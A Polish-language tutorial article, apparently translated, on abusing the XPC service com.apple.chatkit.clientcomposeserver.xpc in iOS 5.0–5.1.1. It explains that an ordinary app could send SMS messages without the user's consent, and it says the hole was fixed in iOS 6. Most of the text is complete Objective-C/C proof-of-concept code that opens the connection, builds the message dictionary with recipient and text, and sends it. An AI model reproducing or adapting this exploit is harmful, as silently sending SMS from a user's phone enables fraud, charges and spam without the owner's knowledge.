Jednym z systemów komunikacji między procesami w MacOS jest XPC. Ta warstwa systemowa została opracowana do komunikacji międzyprocesowej w oparciu o transfer struktur plist za pomocą libSystem i uruchomiona. W rzeczywistości jest to interfejs, który pozwala zarządzać procesami poprzez wymianę takich struktur, jak słowniki. Ze względu na dziedziczność, iOS 5 posiada również ten mechanizm.
Być może już rozumiesz, co mam na myśli przez to wprowadzenie. Tak, w iOS są usługi systemowe, które obejmują narzędzia do komunikacji XPC. I chcę zilustrować pracę z demonem do wysyłania SMS-ów. Należy jednak wspomnieć, że ta zdolność jest naprawiona w iOS 6, ale ma znaczenie w iOS 5.0–5.1.1. Jailbreak, Private Framework i inne nielegalne narzędzia nie są wymagane do jego wykorzystania. Potrzebny jest tylko zestaw plików nagłówkowych z katalogu / usr / include / xpc / *.
Jednym z elementów wysyłania SMS-ów w iOS jest usługa systemowa com.apple.chatkit, której zadania obejmują generowanie, zarządzanie i wysyłanie krótkich wiadomości tekstowych. Dla ułatwienia kontroli ma publicznie dostępny port komunikacyjny com.apple.chatkit.clientcomposeserver.xpc. Korzystając z podsystemu XPC, możesz generować i wysyłać wiadomości bez zgody użytkownika.
Spróbujmy utworzyć połączenie.
xpc_connection_t myConnection;
dispatch_queue_t queue = dispatch_queue_create("com.apple.chatkit.clientcomposeserver.xpc", DISPATCH_QUEUE_CONCURRENT);
myConnection = xpc_connection_create_mach_service("com.apple.chatkit.clientcomposeserver.xpc", queue, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
Teraz mamy połączenie XPC myConnection ustawione na usługę wysyłania wiadomości SMS. Jednak konfiguracja XPC umożliwia tworzenie zawieszonych połączeń - musimy wykonać jeszcze jeden krok w celu aktywacji.
xpc_connection_set_event_handler(myConnection, ^(xpc_object_t event){
xpc_type_t xtype = xpc_get_type(event);
if(XPC_TYPE_ERROR == xtype)
{
NSLog(@"XPC sandbox connection error: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
}
// Always set an event handler. More on this later.
NSLog(@"Received a message event!");
});
xpc_connection_resume(myConnection);
Połączenie zostało aktywowane. W tym momencie iOS 6 wyświetli komunikat w dzienniku telefonu, że ten rodzaj komunikacji jest zabroniony. Teraz musimy wygenerować słownik podobny do xpc_dictionary z danymi wymaganymi do wysłania wiadomości.
NSArray *recipient = [NSArray arrayWithObjects:@"+7 (90*) 000-00-00", nil];
NSData *ser_rec = [NSPropertyListSerialization dataWithPropertyList:recipient format:200 options:0 error:NULL];
xpc_object_t mydict = xpc_dictionary_create(0, 0, 0);
xpc_dictionary_set_int64(mydict, "message-type", 0);
xpc_dictionary_set_data(mydict, "recipients", [ser_rec bytes], [ser_rec length]);
xpc_dictionary_set_string(mydict, "text", "hello from your application!");
Pozostało niewiele: wyślij wiadomość do portu XPC i upewnij się, że została dostarczona.
xpc_connection_send_message(myConnection, mydict);
xpc_connection_send_barrier(myConnection, ^{
NSLog(@"The message has been successfully delivered");
});
To wszystko. SMS wysłany.